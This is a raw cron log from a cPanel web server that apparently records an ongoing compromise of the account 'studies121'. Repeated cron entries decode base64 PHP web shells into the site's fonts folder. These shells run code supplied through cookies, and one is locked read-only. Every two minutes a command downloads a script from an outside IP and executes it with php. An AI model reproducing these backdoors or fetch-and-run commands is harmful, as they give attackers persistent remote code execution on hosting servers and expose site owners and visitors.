Sep  9 00:21:01 ip-184-168-122-23 CROND[13689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:21:01 ip-184-168-122-23 CROND[13690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:21:01 ip-184-168-122-23 CROND[13692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:21:01 ip-184-168-122-23 CROND[13697]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:22:01 ip-184-168-122-23 CROND[13771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:22:01 ip-184-168-122-23 CROND[13772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:22:01 ip-184-168-122-23 CROND[13770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:22:01 ip-184-168-122-23 CROND[13773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:22:01 ip-184-168-122-23 CROND[13774]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 00:23:01 ip-184-168-122-23 CROND[13860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:23:01 ip-184-168-122-23 CROND[13859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:23:01 ip-184-168-122-23 CROND[13862]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:23:01 ip-184-168-122-23 CROND[13861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:24:01 ip-184-168-122-23 CROND[14038]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 00:24:01 ip-184-168-122-23 CROND[14041]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:24:01 ip-184-168-122-23 CROND[14040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:24:01 ip-184-168-122-23 CROND[14042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:24:01 ip-184-168-122-23 CROND[14043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:25:01 ip-184-168-122-23 CROND[14131]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 00:25:01 ip-184-168-122-23 CROND[14133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:25:01 ip-184-168-122-23 CROND[14134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:25:01 ip-184-168-122-23 CROND[14135]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  9 00:25:01 ip-184-168-122-23 CROND[14136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:25:01 ip-184-168-122-23 CROND[14137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:25:01 ip-184-168-122-23 CROND[14138]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 00:26:01 ip-184-168-122-23 CROND[14229]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:26:01 ip-184-168-122-23 CROND[14230]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 00:26:01 ip-184-168-122-23 CROND[14231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:26:01 ip-184-168-122-23 CROND[14232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:26:01 ip-184-168-122-23 CROND[14234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:27:01 ip-184-168-122-23 CROND[14317]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:27:01 ip-184-168-122-23 CROND[14319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:27:01 ip-184-168-122-23 CROND[14320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:27:01 ip-184-168-122-23 CROND[14321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:28:01 ip-184-168-122-23 CROND[14411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:28:01 ip-184-168-122-23 CROND[14414]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 00:28:01 ip-184-168-122-23 CROND[14412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:28:01 ip-184-168-122-23 CROND[14413]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:28:01 ip-184-168-122-23 CROND[14415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:29:01 ip-184-168-122-23 CROND[14601]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:29:01 ip-184-168-122-23 CROND[14603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:29:01 ip-184-168-122-23 CROND[14605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:29:01 ip-184-168-122-23 CROND[14604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:30:01 ip-184-168-122-23 CROND[14689]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 00:30:01 ip-184-168-122-23 CROND[14692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:30:01 ip-184-168-122-23 CROND[14697]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:30:01 ip-184-168-122-23 CROND[14698]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 00:30:01 ip-184-168-122-23 CROND[14694]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  9 00:30:01 ip-184-168-122-23 CROND[14695]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 00:30:01 ip-184-168-122-23 CROND[14696]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 00:30:01 ip-184-168-122-23 CROND[14699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:30:01 ip-184-168-122-23 CROND[14693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:31:01 ip-184-168-122-23 CROND[14792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:31:01 ip-184-168-122-23 CROND[14793]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:31:01 ip-184-168-122-23 CROND[14794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:31:01 ip-184-168-122-23 CROND[14796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:31:01 ip-184-168-122-23 CROND[14798]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 00:32:01 ip-184-168-122-23 CROND[14879]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 00:32:01 ip-184-168-122-23 CROND[14881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:32:01 ip-184-168-122-23 CROND[14882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:32:01 ip-184-168-122-23 CROND[14883]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 00:32:01 ip-184-168-122-23 CROND[14885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 00:33:01 ip-184-168-122-23 CROND[15001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
